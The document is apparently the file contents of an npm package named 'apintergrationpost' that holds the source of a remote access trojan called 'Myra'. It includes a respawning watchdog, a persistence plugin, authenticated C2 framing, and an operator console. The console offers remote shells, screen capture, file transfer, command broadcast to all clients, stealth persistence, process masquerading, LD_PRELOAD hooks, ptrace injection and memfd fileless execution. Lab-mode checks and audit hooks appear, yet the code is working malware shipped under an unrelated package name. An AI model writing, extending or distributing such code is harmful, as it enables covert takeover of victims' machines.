apintergrationpost 4.0.1

package/src/client/plugins/system.js

@@ -0,0 +1,26 @@
+'use strict';
+
+const { persist, getServiceStatus } = require('../commands/system');
+
+const name = 'system';
+const commands = ['persist', 'status'];
+
+async function execute(msg, ctx) {
+  ctx.labEvent({
+    plugin: name,
+    command: msg.command,
+    expectedAuditd: msg.command === 'persist' ? ['execve', 'systemctl'] : ['execve'],
+  });
+
+  if (msg.command === 'persist') {
+    return { action: 'continue', status: 'ok', body: persist() };
+  }
+
+  if (msg.command === 'status') {
+    return { action: 'continue', status: 'ok', body: getServiceStatus() };
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown system command' };
+}
+
+module.exports = { name, commands, execute };

package/src/client/watchdog.js

@@ -0,0 +1,29 @@
+'use strict';
+
+const { spawn } = require('child_process');
+const path = require('path');
+
+const parentPid = Number(process.argv[2]);
+if (!parentPid || process.env.MYRA_WATCHDOG !== '1') {
+  process.exit(1);
+}
+
+const scriptPath = path.resolve(__dirname, 'index.js');
+const execPath = process.execPath;
+
+function respawn() {
+  spawn(execPath, [scriptPath], {
+    detached: true,
+    stdio: 'ignore',
+    env: process.env,
+  }).unref();
+}
+
+setInterval(() => {
+  try {
+    process.kill(parentPid, 0);
+  } catch {
+    respawn();
+    process.exit(0);
+  }
+}, 5000);

package/src/protocol/auth.js

@@ -0,0 +1,121 @@
+'use strict';
+
+const crypto = require('crypto');
+const { writeMessage } = require('./framer');
+const { MSG_TYPES, authMsg, authOkMsg, authFailMsg } = require('./messages');
+
+const AUTH_WINDOW_MS = 30000;
+const AUTH_TIMEOUT_MS = 5000;
+const HEADER_SIZE = 4;
+
+function computeHmac(token, timestamp, nonce) {
+  return crypto.createHmac('sha256', token)
+    .update(`${timestamp}:${nonce}`)
+    .digest('hex');
+}
+
+function readOneMessage(socket, timeoutMs) {
+  return new Promise((resolve, reject) => {
+    let buffer = Buffer.alloc(0);
+    const timer = setTimeout(() => {
+      cleanup();
+      reject(new Error('Timed out waiting for message'));
+    }, timeoutMs);
+
+    function onData(chunk) {
+      buffer = Buffer.concat([buffer, chunk]);
+      if (buffer.length >= HEADER_SIZE) {
+        const payloadLen = buffer.readUInt32BE(0);
+        const totalLen = HEADER_SIZE + payloadLen;
+        if (buffer.length >= totalLen) {
+          cleanup();
+          const payload = buffer.subarray(HEADER_SIZE, totalLen);
+          const leftover = buffer.subarray(totalLen);
+          try {
+            const msg = JSON.parse(payload.toString('utf8'));
+            resolve({ msg, leftover });
+          } catch (err) {
+            reject(new Error(`Malformed auth message: ${err.message}`));
+          }
+        }
+      }
+    }
+
+    function onError(err) {
+      cleanup();
+      reject(err);
+    }
+
+    function cleanup() {
+      clearTimeout(timer);
+      socket.removeListener('data', onData);
+      socket.removeListener('error', onError);
+    }
+
+    socket.on('data', onData);
+    socket.on('error', onError);
+  });
+}
+
+async function authenticateClient(socket, token, logger) {
+  const { msg, leftover } = await readOneMessage(socket, AUTH_TIMEOUT_MS);
+
+  if (msg.type !== MSG_TYPES.AUTH) {
+    writeMessage(socket, authFailMsg('expected auth message'));
+    socket.destroy();
+    throw new Error('Expected auth message, got: ' + msg.type);
+  }
+
+  const now = Date.now();
+  const drift = Math.abs(now - msg.timestamp);
+  if (drift > AUTH_WINDOW_MS) {
+    logger.warn('Auth rejected: timestamp outside window', { drift });
+    writeMessage(socket, authFailMsg('timestamp out of range'));
+    socket.destroy();
+    throw new Error('Auth timestamp out of range');
+  }
+
+  const expected = computeHmac(token, msg.timestamp, msg.nonce);
+  if (expected.length !== msg.hmac.length ||
+      !crypto.timingSafeEqual(Buffer.from(expected), Buffer.from(msg.hmac))) {
+    logger.warn('Auth rejected: invalid HMAC');
+    writeMessage(socket, authFailMsg('invalid credentials'));
+    socket.destroy();
+    throw new Error('Invalid HMAC');
+  }
+
+  logger.info('Client authenticated');
+  writeMessage(socket, authOkMsg());
+
+  if (leftover && leftover.length > 0) {
+    socket.unshift(leftover);
+  }
+}
+
+async function performAuth(socket, token, logger) {
+  const timestamp = Date.now();
+  const nonce = crypto.randomBytes(16).toString('hex');
+  const hmac = computeHmac(token, timestamp, nonce);
+
+  writeMessage(socket, authMsg(hmac, timestamp, nonce));
+
+  const { msg, leftover } = await readOneMessage(socket, AUTH_TIMEOUT_MS);
+
+  if (msg.type === MSG_TYPES.AUTH_OK) {
+    logger.info('Authenticated with server');
+    if (leftover && leftover.length > 0) {
+      socket.unshift(leftover);
+    }
+    return;
+  }
+
+  if (msg.type === MSG_TYPES.AUTH_FAIL) {
+    socket.destroy();
+    throw new Error('Authentication failed: ' + (msg.reason || 'unknown'));
+  }
+
+  socket.destroy();
+  throw new Error('Unexpected message during auth: ' + msg.type);
+}
+
+module.exports = { computeHmac, authenticateClient, performAuth, AUTH_WINDOW_MS };

package/src/protocol/framer.js

@@ -0,0 +1,57 @@
+'use strict';
+
+const crypto = require('crypto');
+
+const HEADER_SIZE = 4;
+const MAX_MESSAGE_SIZE = 64 * 1024 * 1024;
+
+function writeMessage(socket, obj, options = {}) {
+  const payload = { ...obj };
+  const padMax = options.paddingMaxBytes || 0;
+  if (padMax > 0 && payload.type !== 'auth' && payload.type !== 'auth_ok' && payload.type !== 'auth_fail') {
+    const padLen = Math.floor(Math.random() * (padMax + 1));
+    if (padLen > 0) {
+      payload._pad = crypto.randomBytes(padLen).toString('base64');
+    }
+  }
+
+  const json = JSON.stringify(payload);
+  const body = Buffer.from(json, 'utf8');
+  const header = Buffer.alloc(HEADER_SIZE);
+  header.writeUInt32BE(body.length, 0);
+  socket.write(Buffer.concat([header, body]));
+}
+
+function createMessageReader(socket, onMessage) {
+  let buffer = Buffer.alloc(0);
+
+  function processBuffer() {
+    while (buffer.length >= HEADER_SIZE) {
+      const payloadLen = buffer.readUInt32BE(0);
+      if (payloadLen > MAX_MESSAGE_SIZE) {
+        socket.destroy(new Error(`message too large: ${payloadLen} bytes`));
+        return;
+      }
+      const totalLen = HEADER_SIZE + payloadLen;
+      if (buffer.length < totalLen) break;
+
+      const payload = buffer.subarray(HEADER_SIZE, totalLen);
+      buffer = buffer.subarray(totalLen);
+
+      try {
+        const msg = JSON.parse(payload.toString('utf8'));
+        onMessage(msg);
+      } catch (err) {
+        socket.destroy(new Error(`malformed message: ${err.message}`));
+        return;
+      }
+    }
+  }
+
+  socket.on('data', (chunk) => {
+    buffer = Buffer.concat([buffer, chunk]);
+    processBuffer();
+  });
+}
+
+module.exports = { writeMessage, createMessageReader, HEADER_SIZE };

package/src/protocol/messages.js

@@ -0,0 +1,81 @@
+'use strict';
+
+const crypto = require('crypto');
+
+const MSG_TYPES = {
+  COMMAND: 'command',
+  RESPONSE: 'response',
+  FILE_TRANSFER: 'file_transfer',
+  HEARTBEAT: 'heartbeat',
+  AUTH: 'auth',
+  AUTH_OK: 'auth_ok',
+  AUTH_FAIL: 'auth_fail',
+  DISCONNECT: 'disconnect',
+  SHELL_OUTPUT: 'shell_output',
+  SCREEN_FRAME: 'screen_frame',
+};
+
+function makeId() {
+  return crypto.randomUUID();
+}
+
+function commandMsg(command, body, meta) {
+  return { type: MSG_TYPES.COMMAND, id: makeId(), command, body: body || '', meta: meta || {} };
+}
+
+function responseMsg(id, status, body, meta) {
+  return { type: MSG_TYPES.RESPONSE, id, status, body: body || '', meta: meta || {} };
+}
+
+function heartbeatMsg() {
+  return { type: MSG_TYPES.HEARTBEAT, id: makeId(), ts: Date.now() };
+}
+
+function authMsg(hmac, timestamp, nonce) {
+  return { type: MSG_TYPES.AUTH, id: makeId(), hmac, timestamp, nonce };
+}
+
+function authOkMsg() {
+  return { type: MSG_TYPES.AUTH_OK, id: makeId() };
+}
+
+function authFailMsg(reason) {
+  return { type: MSG_TYPES.AUTH_FAIL, id: makeId(), reason: reason || 'authentication failed' };
+}
+
+function disconnectMsg(reason) {
+  return { type: MSG_TYPES.DISCONNECT, id: makeId(), reason: reason || '' };
+}
+
+function shellOutputMsg(sessionId, body, meta) {
+  return {
+    type: MSG_TYPES.SHELL_OUTPUT,
+    id: makeId(),
+    sessionId,
+    body: body || '',
+    meta: meta || {},
+  };
+}
+
+function screenFrameMsg(sessionId, body, meta) {
+  return {
+    type: MSG_TYPES.SCREEN_FRAME,
+    id: makeId(),
+    sessionId,
+    body: body || '',
+    meta: meta || {},
+  };
+}
+
+module.exports = {
+  MSG_TYPES,
+  commandMsg,
+  responseMsg,
+  heartbeatMsg,
+  authMsg,
+  authOkMsg,
+  authFailMsg,
+  disconnectMsg,
+  shellOutputMsg,
+  screenFrameMsg,
+};

package/src/protocol/tls.js

@@ -0,0 +1,74 @@
+'use strict';
+
+const tls = require('tls');
+const net = require('net');
+const fs = require('fs');
+const path = require('path');
+
+function isTlsEnabled(config) {
+  const tlsConf = config.tls || {};
+  if (tlsConf.enabled === false) return false;
+  if (tlsConf.enabled === true) {
+    return !!(tlsConf.cert && tlsConf.key);
+  }
+  // Legacy: TLS on when cert+key paths exist and load successfully
+  return !!loadTlsOptions(config, true);
+}
+
+function loadTlsOptions(config, isServer) {
+  const tlsConf = config.tls || {};
+  if (tlsConf.enabled === false) return null;
+  if (!tlsConf.cert || !tlsConf.key) return null;
+
+  try {
+    const basePath = config._configDir || process.cwd();
+    const resolve = (p) => path.isAbsolute(p) ? p : path.resolve(basePath, p);
+
+    const opts = {};
+    if (isServer) {
+      opts.cert = fs.readFileSync(resolve(tlsConf.cert));
+      opts.key = fs.readFileSync(resolve(tlsConf.key));
+      if (tlsConf.mutual && tlsConf.ca) {
+        opts.ca = fs.readFileSync(resolve(tlsConf.ca));
+        opts.requestCert = true;
+        opts.rejectUnauthorized = true;
+      }
+    } else {
+      if (tlsConf.ca) {
+        opts.ca = fs.readFileSync(resolve(tlsConf.ca));
+      }
+      opts.rejectUnauthorized = !!tlsConf.ca;
+    }
+    return opts;
+  } catch {
+    return null;
+  }
+}
+
+function createServer(config, connectionHandler) {
+  const tlsOpts = loadTlsOptions(config, true);
+  if (tlsOpts) {
+    return tls.createServer(tlsOpts, connectionHandler);
+  }
+  return net.createServer(connectionHandler);
+}
+
+function connectToHost(host, port, config) {
+  return new Promise((resolve, reject) => {
+    const tlsOpts = loadTlsOptions(config, false);
+
+    if (tlsOpts) {
+      const socket = tls.connect({ host, port, ...tlsOpts }, () => {
+        resolve(socket);
+      });
+      socket.on('error', reject);
+    } else {
+      const socket = net.createConnection({ host, port }, () => {
+        resolve(socket);
+      });
+      socket.on('error', reject);
+    }
+  });
+}
+
+module.exports = { isTlsEnabled, loadTlsOptions, createServer, connectToHost };

package/src/server/cli.js

@@ -0,0 +1,98 @@
+'use strict';
+
+const readline = require('readline');
+
+const COMMANDS = [
+  'sessions', 'use', 'background', 'broadcast', 'help', 'status',
+  'shell', 'sysinfo', 'ps', 'netstat', 'find',
+  'screen', 'vnc', 'screen_stop', 'screen_status',
+  'download', 'upload', 'cd', 'persist',
+  'persist_install', 'persist_remove', 'persist_status',
+  'hide_start', 'hide_stop', 'preload_install', 'preload_remove',
+  'inject', 'inject_spawn', 'memfd_exec', 'memfd_status', 'memfd_deploy', 'memfd_verify',
+  'kill', 'q', 'quit',
+];
+
+function createCli(sessionManager) {
+  const rl = readline.createInterface({
+    input: process.stdin,
+    output: process.stdout,
+    completer: (line) => {
+      const hits = COMMANDS.filter((c) => c.startsWith(line.toLowerCase()));
+      return [hits.length ? hits : COMMANDS, line];
+    },
+  });
+
+  function getPrompt() {
+    const active = sessionManager ? sessionManager.active : null;
+    if (active) {
+      return `myra [${active.id}] $ `;
+    }
+    return 'myra $ ';
+  }
+
+  function prompt() {
+    return new Promise((resolve) => {
+      rl.question(getPrompt(), resolve);
+    });
+  }
+
+  function close() {
+    rl.close();
+  }
+
+  return { prompt, close, rl };
+}
+
+function printHelp() {
+  console.log(`
+Available commands:
+  sessions              List all connected clients
+  use <id>              Switch to a client session
+  background            Deselect the active session
+  broadcast <cmd>       Send a shell command to all clients
+  help                  Show this help message
+
+Session commands (requires active session):
+  shell                 Interactive PTY shell
+  <shell_command>       One-shot shell execution
+  sysinfo / ps / netstat / find
+  screen / vnc          Live screen in browser (Press Enter to stop)
+  screen_stop           Stop live screen stream
+  cd / download / upload
+  persist               Baseline persistence (legacy systemd)
+  persist_install       Stealth multi-vector persistence
+  persist_status        Persistence artifact status
+  persist_remove        Remove stealth persistence artifacts
+  hide_start            Process masquerade + launcher
+  hide_stop             Stop hide session
+  preload_install       Install LD_PRELOAD libcache.so
+  preload_remove        Remove preload artifacts
+  inject [pid]          ptrace inject stub (spawn target if no pid)
+  inject_spawn          Inject into spawned sleep process
+  memfd_exec <path>     memfd execution
+  memfd_deploy          Full memfd agent deploy (Node ELF + bundle)
+  memfd_verify [pid]    Verify memfd process signals
+  memfd_status [pid]    memfd child status
+  status                Service status
+  kill                  Shut down client
+  q / quit              Exit server
+`);
+}
+
+function formatSessionsTable(sessions) {
+  if (sessions.length === 0) {
+    return 'No active sessions.';
+  }
+  const lines = ['  ID        Address                Uptime    Heartbeat     Active'];
+  lines.push('  --------  ---------------------  --------  ------------  ------');
+  for (const s of sessions) {
+    const active = s.active ? '  *' : '';
+    lines.push(
+      `  ${s.id.padEnd(8)}  ${s.address.padEnd(21)}  ${s.uptime.padEnd(8)}  ${s.lastHeartbeat.padEnd(12)}  ${active}`
+    );
+  }
+  return lines.join('\n');
+}
+
+module.exports = { createCli, printHelp, formatSessionsTable };

package/src/server/index.js

@@ -0,0 +1,183 @@
+'use strict';
+
+const { loadConfig, validateLabConfig } = require('../shared/config');
+const { createLogger } = require('../shared/logger');
+const { createServer, isTlsEnabled } = require('../protocol/tls');
+const { authenticateClient } = require('../protocol/auth');
+const { Session, SessionManager } = require('./sessionManager');
+const { createCli, printHelp, formatSessionsTable } = require('./cli');
+const { handleSessionCommand } = require('./session');
+const { startInstallServer } = require('./installServer');
+
+function main() {
+  const config = loadConfig();
+  const labError = validateLabConfig(config);
+  if (labError) {
+    console.error(`[MYRA] ${labError}`);
+    process.exit(1);
+  }
+
+  const logger = createLogger(config);
+  const token = (config.auth && config.auth.token) || '';
+
+  const manager = new SessionManager(logger);
+  const cli = createCli(manager);
+
+  const server = createServer(config, (socket) => {
+    const { remoteAddress, remotePort } = socket;
+    logger.info(`Received connection from ${remoteAddress}:${remotePort}`);
+    console.log(`\n[*] Received connection from ${remoteAddress}:${remotePort}`);
+
+    (async () => {
+      if (token) {
+        try {
+          await authenticateClient(socket, token, logger);
+          console.log(`[*] Client ${remoteAddress}:${remotePort} authenticated.`);
+        } catch (err) {
+          logger.warn(`Authentication failed from ${remoteAddress}: ${err.message}`);
+          console.log(`[*] Authentication failed from ${remoteAddress}:${remotePort}`);
+          socket.destroy();
+          return;
+        }
+      }
+
+      const session = new Session(socket, logger, config);
+      session.authenticated = true;
+      manager.add(session);
+      console.log(`[*] Session ${session.id} registered. Use 'sessions' to list, 'use ${session.id}' to interact.`);
+    })().catch((err) => {
+      logger.error('Connection setup error', { error: err.message });
+      socket.destroy();
+    });
+  });
+
+  const proto = isTlsEnabled(config) ? 'TLS' : 'TCP (token auth)';
+  server.listen(config.port, config.host, () => {
+    logger.info(`Server listening on ${config.host}:${config.port} (${proto})`);
+    console.log(`[*] Server started on ${config.host}:${config.port} (${proto}). Listening for connections...`);
+    if (!isTlsEnabled(config)) {
+      console.log('[*] TLS disabled — clients authenticate with auth.token only.');
+    }
+    if (!token) {
+      console.log('[!] Warning: No auth token configured. Set auth.token in myra.config.json.');
+    }
+    if (config.lab && config.lab.mode) {
+      console.log('[MYRA LAB] Research mode enabled. Use only in isolated VMs.');
+    }
+    startInstallServer(config, logger);
+    runCommandLoop(manager, cli, logger, config);
+  });
+}
+
+async function runCommandLoop(manager, cli, logger, config) {
+  while (true) {
+    let inp;
+    try {
+      inp = (await cli.prompt()).trim();
+    } catch {
+      break;
+    }
+    if (!inp) continue;
+
+    const lower = inp.toLowerCase();
+    const parts = inp.split(/\s+/);
+
+    if (lower === 'help') {
+      printHelp();
+      continue;
+    }
+
+    if (lower === 'sessions') {
+      const list = manager.list();
+      console.log(formatSessionsTable(list));
+      continue;
+    }
+
+    if (parts[0].toLowerCase() === 'use' && parts[1]) {
+      const target = parts[1];
+      const session = manager.get(target);
+      if (!session) {
+        console.log(`[!] No session with ID '${target}'. Use 'sessions' to list.`);
+      } else {
+        manager.activeId = target;
+        console.log(`[*] Switched to session ${session.label}`);
+      }
+      continue;
+    }
+
+    if (lower === 'background') {
+      manager.activeId = null;
+      console.log('[*] Active session deselected.');
+      continue;
+    }
+
+    if (parts[0].toLowerCase() === 'broadcast' && parts.length > 1) {
+      const cmd = parts.slice(1).join(' ');
+      console.log(`[*] Broadcasting '${cmd}' to ${manager.size} client(s)...`);
+      const results = await manager.broadcast('shell', cmd);
+      for (const r of results) {
+        console.log(`\n--- Session ${r.id} (${r.status}) ---`);
+        console.log(r.body);
+      }
+      console.log(`\n[*] Broadcast complete.`);
+      continue;
+    }
+
+    if (lower === 'q' || lower === 'quit') {
+      console.log('[*] Disconnecting all clients and shutting down...');
+      manager.disconnectAll('server shutdown');
+      cli.close();
+      logger.info('Server shutdown by operator');
+      process.exit(0);
+    }
+
+    const active = manager.active;
+    if (!active) {
+      console.log('[!] No active session. Use \'sessions\' to list and \'use <id>\' to select one.');
+      continue;
+    }
+
+    if (!active.alive) {
+      console.log(`[!] Session ${active.id} is no longer connected.`);
+      continue;
+    }
+
+    try {
+      const startTime = Date.now();
+      const result = await handleSessionCommand(active, inp, logger);
+      const elapsed = Date.now() - startTime;
+
+      logger.audit({
+        sessionId: active.id,
+        clientIp: active.remoteAddress,
+        command: inp,
+        elapsed,
+        status: result === 'quit' ? 'quit' : 'ok',
+      });
+
+      if (result === 'quit') {
+        console.log('[*] Disconnecting all clients and shutting down...');
+        manager.disconnectAll('server shutdown');
+        cli.close();
+        logger.info('Server shutdown by operator');
+        process.exit(0);
+      }
+    } catch (err) {
+      logger.audit({
+        sessionId: active.id,
+        clientIp: active.remoteAddress,
+        command: inp,
+        status: 'error',
+        error: err.message,
+      });
+
+      if (err.code === 'ECONNRESET' || err.code === 'EPIPE' || err.message === 'Command timed out' || err.message === 'Session is closed') {
+        console.log(`\n[*] Session ${active.id}: ${err.message}. Use 'sessions' to check status.`);
+      } else {
+        console.log(`[!] Error: ${err.message}`);
+      }
+    }
+  }
+}
+
+main();